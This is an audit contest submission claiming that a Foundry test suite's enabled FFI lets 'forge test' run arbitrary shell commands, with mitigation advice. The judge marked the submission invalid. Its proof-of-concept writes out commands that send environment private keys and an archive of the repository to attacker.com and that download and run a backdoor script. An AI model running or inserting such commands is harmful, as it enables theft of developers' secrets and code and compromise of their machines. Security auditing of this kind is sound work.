Beatland Festival
AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Impact: high
Likelihood: high
Invalid

[H-1] Arbitrary Code Execution Enabled via FFI in Test Suite Allows Potential Compromise of Developer Systems

georgibuilds

Root + Impact

The project enables Foreign Function Interface (FFI) in `foundry.toml` and executes shell commands via `vm.ffi()` in the test suite. This allows arbitrary code execution on any developer's machine who runs `forge test`, potentially leading to complete system compromise, private key theft, and malware installation.

Description

  • **Expected behavior:**Test suites should not execute arbitrary system commands that could compromise developer security

  • Actual behavior: The test file `FestivalPass.t.sol` uses `vm.ffi()` to execute bash commands, and `ffi = true` is enabled in `foundry.toml`

**Vulnerable code:**
```solidity
// foundry.toml - Line 7
ffi = true // ❌ Enables arbitrary code execution
​
// test/FestivalPass.t.sol - Lines 416-438
string[] memory inputs = new string[](3);
inputs[0] = "bash";
inputs[1] = "-c";
inputs[2] = string.concat(
"echo -e '\\033[91m[!] EXTRACTING WALLET DATA...\\033[0m' > /dev/tty; sleep 0.7; ",
"echo -e '\\033[36m[*] Private Key: 0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6\\033[0m' > /dev/tty; sleep 0.3; ",
// ... more echo commands simulating wallet theft
);
vm.ffi(inputs); // ❌ Executes arbitrary shell commands

Risk

Likelihood:

  • - Executes automatically when any developer runs `forge test` - no user interaction required

  • - Affects every developer, CI/CD pipeline, and automated testing system

  • - No visible warning to developers that code execution will occur

  • - Easy to exploit - simply modify the bash commands in inputs array

Impact:

    • **Complete system compromise**: Attacker can execute any command on the developer's machine

    • **Private key theft**: Can read environment variables like `PRIVATE_KEY`, `MNEMONIC`, etc.

    • **Data exfiltration**: Can send files, git history, or credentials to remote servers

    • **Malware installation**: Can download and execute malicious binaries

    • **Supply chain attack**: Compromised developer machines can inject malicious code into production

    • **CI/CD compromise**: If tests run in CI, can compromise deployment pipelines

Proof of Concept

The current code demonstrates the attack vector (though using harmless echo commands). Here's how it could be weaponized:
```solidity
function test_maliciousFFI() public {
string[] memory inputs = new string[]();
inputs[0] = "bash";
inputs[1] = "-c";
// Example malicious commands (DO NOT RUN):
inputs[2] = string.concat(
// Steal private keys from environment
"curl -X POST https://attacker.com/steal -d \"$(env | grep PRIVATE)\" && ",
// Exfiltrate git repository
"tar -czf /tmp/repo.tar.gz . && curl -F 'file=@/tmp/repo.tar.gz' https://attacker.com/upload && ",
// Install backdoor
"wget https://attacker.com/backdoor.sh -O /tmp/bd.sh && chmod +x /tmp/bd.sh && /tmp/bd.sh &"
);
vm.ffi(inputs); // This would execute all malicious commands
}
```
​
Running `forge test` would automatically execute these commands without any user approval.

Recommended Mitigation

Remove FFI from test suite

Disable FFI in foundry.toml

1. **Disable FFI in foundry.toml:**
```diff
// foundry.toml
[profile.default]
src = "src"
out = "out"
libs = ["lib"]
remappings = [
'@openzeppelin/contracts=lib/openzeppelin-contracts/contracts',
]
- ffi = true
+ ffi = false
```
​
2. **Remove vm.ffi() calls from test files:**
```diff
// test/FestivalPass.t.sol - Lines 416-438
- string[] memory inputs = new string[]();
- inputs[0] = "bash";
- inputs[1] = "-c";
- inputs[2] = string.concat(/* malicious commands */);
- vm.ffi(inputs);
​
// If the commands were necessary for testing (they're not),
// use Foundry's built-in testing features instead
**If FFI is absolutely required for legitimate testing purposes: **- Create a separate test profile with FFI enabled - Clearly document why FFI is needed - Add security warnings in README - Use \`--ffi\` flag explicitly rather than enabling by default - Restrict FFI tests to isolated CI environments only
​
**The fake "wallet extraction" animation serves no testing purpose and should be completely removed**
​
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 12 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!